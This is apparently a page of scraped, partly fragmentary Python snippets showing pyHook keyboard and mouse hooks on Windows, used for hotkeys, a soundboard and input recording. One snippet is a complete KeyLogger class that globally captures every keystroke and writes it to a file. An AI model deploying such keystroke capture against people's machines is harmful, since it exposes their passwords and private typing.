    def set_is_left_alt_up_injected(self, value=None):
        if value is None:
            return self.is_left_alt_up_injected
        self.is_left_alt_up_injected = value

    def set_is_right_alt_up_injected(self, value=None):
        if value is None:
            return self.is_right_alt_up_injected
        self.is_right_alt_up_injected = value

    def set_is_left_ctrl_up_injected(self, value=None):
        if value is None:
            return self.is_left_ctrl_up_injected
        self.is_left_ctrl_up_injected = value

    def set_is_right_ctrl_up_injected(self, value=None):
        if value is None:
            return self.is_right_ctrl_up_injected
        self.is_right_ctrl_up_injected = value

    def set_is_left_shift_up_injected(self, value=None):
        if value is None:
            return self.is_left_shift_up_injected
        self.is_left_shift_up_injected = value

    def set_is_right_shift_up_injected(self, value=None):
        if value is None:
            return self.is_right_shift_up_injected
        self.is_right_shift_up_injected = value
Exemple #23
0
class KeyLogger(object):
    def __init__(self, logging=True):
        self.hooked = False
        if logging:
            log_file = "log.txt"
            self.logger = getLogger("keys")
            handler = FileHandler(log_file)
            formatter = Formatter("%(message)s")
            handler.setFormatter(formatter)
            self.logger.addHandler(handler)
            self.logger.setLevel(DEBUG)

    def ctrl_down(self):
        """ Determine if either control key is pressed

        """
        return GetKeyState(HookConstants.VKeyToID("VK_CONTROL"))

    def shift_down(self):
        """ Determine if either shift key is pressed

        """
        return GetKeyState(HookConstants.VKeyToID("VK_SHIFT"))

    def alt_down(self, event):
        """ Determine if either alt key is pressed

        """
        return KeyboardEvent.IsAlt(event)

    def key_log(self, event):
        """ Properly record key presses

        """
        key = event.GetKey()
        ctrl = self.ctrl_down()
        shift = self.shift_down()
        alt = self.alt_down(event)
        if ctrl and shift and alt:
            final_key = "ctrl+shift+alt+" + key
        elif ctrl and shift:
            final_key = "ctrl+shift+" + key
        elif shift and alt:
            final_key = "shift+alt" + key
        elif ctrl and alt:
            if key in string.ascii_uppercase:
                final_key = "ctrl+alt+" + key.lower()
            else:
                final_key = "ctrl+alt+" + key
        elif ctrl:
            if key in string.ascii_uppercase:
                final_key = "ctrl+" + key.lower()
            else:
                final_key = "ctrl+" + key
        elif shift:
            final_key = "shift+" + key
        elif alt:
            if key in string.ascii_uppercase:
                final_key = "alt+" + key.lower()
            else:
                final_key = "alt+" + key
        else:
            if key in string.ascii_uppercase:
                final_key = key.lower()
            else:
                final_key = key
        self.respond(final_key)
        return True

    def respond(self, key):
        """ Override this function to change key response functionality.

        Default functionality logs keys to file.
        """
        self.logger.info(str(key))

    def hook(self):
        """ Hook Keyboard

        """
        self.hook = HookManager()
        self.hook.KeyDown = self.key_log
        self.hook.HookKeyboard()

    def start_capture(self):
        """ Pull key presses

        """
        self.hook()
        PumpMessages()

    def stop_capture(self):
        windll.user32.PostQuitMessage(0)
        self.hook.UnhookKeyboard()
Exemple #24
0
		
		if is_shortcut(keys_pressed, quit):
			exit(0)

		if is_shortcut(keys_pressed, trigger):
			spotlight = Spotlight()
			controller = SpotlightController(spotlight = spotlight)
			keys_pressed = []
			return False
		return True

	def OnKeyUp(event):
		global keys_pressed
		if event.GetKey() in keys_pressed:
			keys_pressed.remove(event.GetKey())
		return True

	hook_manager.KeyDown = OnKeyDown
	hook_manager.KeyUp = OnKeyUp
	hook_manager.HookKeyboard()


	while True:
		if spotlight:
			hook_manager.UnhookKeyboard()
			spotlight.run()
			spotlight = None
			controller = None
			hook_manager.HookKeyboard()
		else:
			PumpWaitingMessages()
        # cleanup stuff.
        stream.close()

    def getVirtualCableIndex(self):
        for i in range(self.audio.get_device_count()):
            audioDevice = self.audio.get_device_info_by_index(i)
            name = audioDevice['name'].lower()
            if (("virtual" in name) and ('input' in name)):
                return i  # self.virtualCableIndex = i11.119

    def getRandomWav(self, curdir):
        possibleWavs = []
        for root, dirs, files in os.walk(curdir):
            for file in files:
                fullPath = os.path.realpath(root + "/" + file)
                if (fullPath.endswith(".wav")) and (fullPath
                                                    not in possibleWavs):
                    #print(fullPath)
                    possibleWavs.append(fullPath)
        n = random.randint(0, len(possibleWavs) - 1)
        #print("full: ", possibleWavs[n])
        return possibleWavs[n]  # random wav file


soundBoard = SoundBoardPlayer()
hm = HookManager()
hm.KeyDown = soundBoard.onKeyboardEvent
hm.HookKeyboard()
# set the hook
pythoncom.PumpMessages()
Exemple #26
0
class WindowsRecorder(BaseRecorder):

    KBFLAG_CTRL = 0x01
    KBFLAG_ALT = 0x02
    KBFLAG_SHIFT = 0x04
    KBFLAG_CAPS = 0x08

    default_radius = 25
    capture_interval = 0.05
    capture_maxnum = 30

    def __init__(self, device=None):
        self.watched_hwnds = set()
        super(WindowsRecorder, self).__init__(device)
        self.kbflag = 0
        self.hm = HookManager()
        self.hm.MouseAllButtons = self._hook_on_mouse
        self.hm.KeyAll = self._hook_on_keyboard

    def attach(self, device):
        if self.device is not None:
            print "Warning: already attached to a device."
            if device is not self.device:
                self.detach()

        handle = device.hwnd

        def callback(hwnd, extra):
            extra.add(hwnd)
            return True

        self.watched_hwnds.add(handle)
        try:
            # EnumChildWindows may crash for windows have no any child.
            # refs: https://mail.python.org/pipermail/python-win32/2005-March/003042.html
            win32gui.EnumChildWindows(handle, callback, self.watched_hwnds)
        except pywintypes.error:
            pass

        self.device = device
        print "attach to device", device

    def detach(self):
        print "detach from device", self.device
        self.device = None
        self.watched_hwnds = set()

    def hook(self):
        self.hm.HookMouse()
        self.hm.HookKeyboard()

    def unhook(self):
        self.hm.UnhookMouse()
        self.hm.UnhookKeyboard()

    def _hook_on_mouse(self, event):
        if self.device is None:
            return True
        if event.Window not in self.watched_hwnds:
            return True
        if event.Message == HookConstants.WM_LBUTTONUP:
            x, y = self.device.norm_position(event.Position)
            # ignore the clicks outside the rect if the window has a frame.
            if x < 0 or y < 0:
                return True
            self.on_click((x, y))

        return True

    def _hook_on_keyboard(self, event):
        if self.device is None:
            return True
        if event.Window not in self.watched_hwnds:
            return True
        print "on_keyboard", event.MessageName, event.Key, repr(
            event.Ascii), event.KeyID, event.ScanCode,
        print event.flags, event.Extended, event.Injected, event.Alt, event.Transition
        return True
class EventManager(object):
    """
    Event manager that runs event loop and calls event handlers.
    """
    def __init__(self):
        """
        Constructor.

        :return: None.
        """
        # Create hook manager
        self._hook_manager = HookManager()

        # Add attributes `mouse_hook` and `keyboard_hook`.
        # Without the two attributes, the hook manager's method `__del__`
        # will raise AttributeError if its methods `HookKeyboard` and
        # `HookMouse` have not been called.
        self._hook_manager.mouse_hook = False

        self._hook_manager.keyboard_hook = False

    def start_event_loop(self):
        """
        Start event loop.

        This method will not return until the event loop is stopped by \
        calling :paramref:`stop_event_loop`.

        :return: None.
        """
        # Start hooking key events
        self._hook_manager.HookKeyboard()

        # Start hooking mouse events
        self._hook_manager.HookMouse()

        # Create MSG structure
        msg = MSG()

        # Run event loop
        GetMessageW(byref(msg), 0, 0, 0)

        # Stop hooking key events
        self._hook_manager.UnhookKeyboard()

        # Stop hooking mouse events
        self._hook_manager.UnhookMouse()

    def stop_event_loop(self):
        """
        Stop event loop.

        :return: None.
        """
        # Post a WM_QUIT message to this thread's message queue
        PostQuitMessage(0)

    # Map event handler type to handler attribute name
    _EVENT_HANDLER_TYPE_TO_ATTR_NAME = {
        'KeyDown': 'KeyDown',
        'KeyUp': 'KeyUp',
        'MouseDown': 'MouseAllButtonsDown',
        'MouseUp': 'MouseAllButtonsUp',
        'MouseMove': 'MouseMove',
        'MouseWheel': 'MouseWheel',
    }

    def add_handler(self, handler_type, handler):
        """
        Add event handler.

        :param handler_type: Event handler type.

        Allowed values:
            - 'KeyDown'
            - 'KeyUp'
            - 'MouseDown'
            - 'MouseUp'
            - 'MouseMove'
            - 'MouseWheel'

        :param handler: Event handler.

        :return: None.
        """
        # Get handler attribute name
        attr_name = self._EVENT_HANDLER_TYPE_TO_ATTR_NAME.get(
            handler_type, None)

        # If handler attribute name is not found,
        # it means given handler type is not valid.
        if attr_name is None:
            # Get error message
            msg = 'Error: Invalid handler type: {0}'.format(repr(handler_type))

            # Raise error
            raise ValueError(msg)

        # If handler attribute name is found.

        # Set the handler attribute on the hook manager
        setattr(self._hook_manager, attr_name, handler)

    def remove_handlers(self):
        """
        Remove all event handlers.

        :return: None.
        """
        # Set handler attributes on the hook manager be None
        self._hook_manager.KeyDown = None

        self._hook_manager.KeyUp = None

        self._hook_manager.MouseAllButtonsDown = None

        self._hook_manager.MouseAllButtonsUp = None

        self._hook_manager.MouseMove = None

        self._hook_manager.MouseWheel = None
Exemple #28
0
 def run(self):
     obj = HookManager()
     obj.KeyDown = self.keypressed
     obj.HookKeyboard()  # start the hooking loop and pump out the messages
     pythoncom.PumpMessages()  # remember that per Pyhook documentation we must have a Windows message pump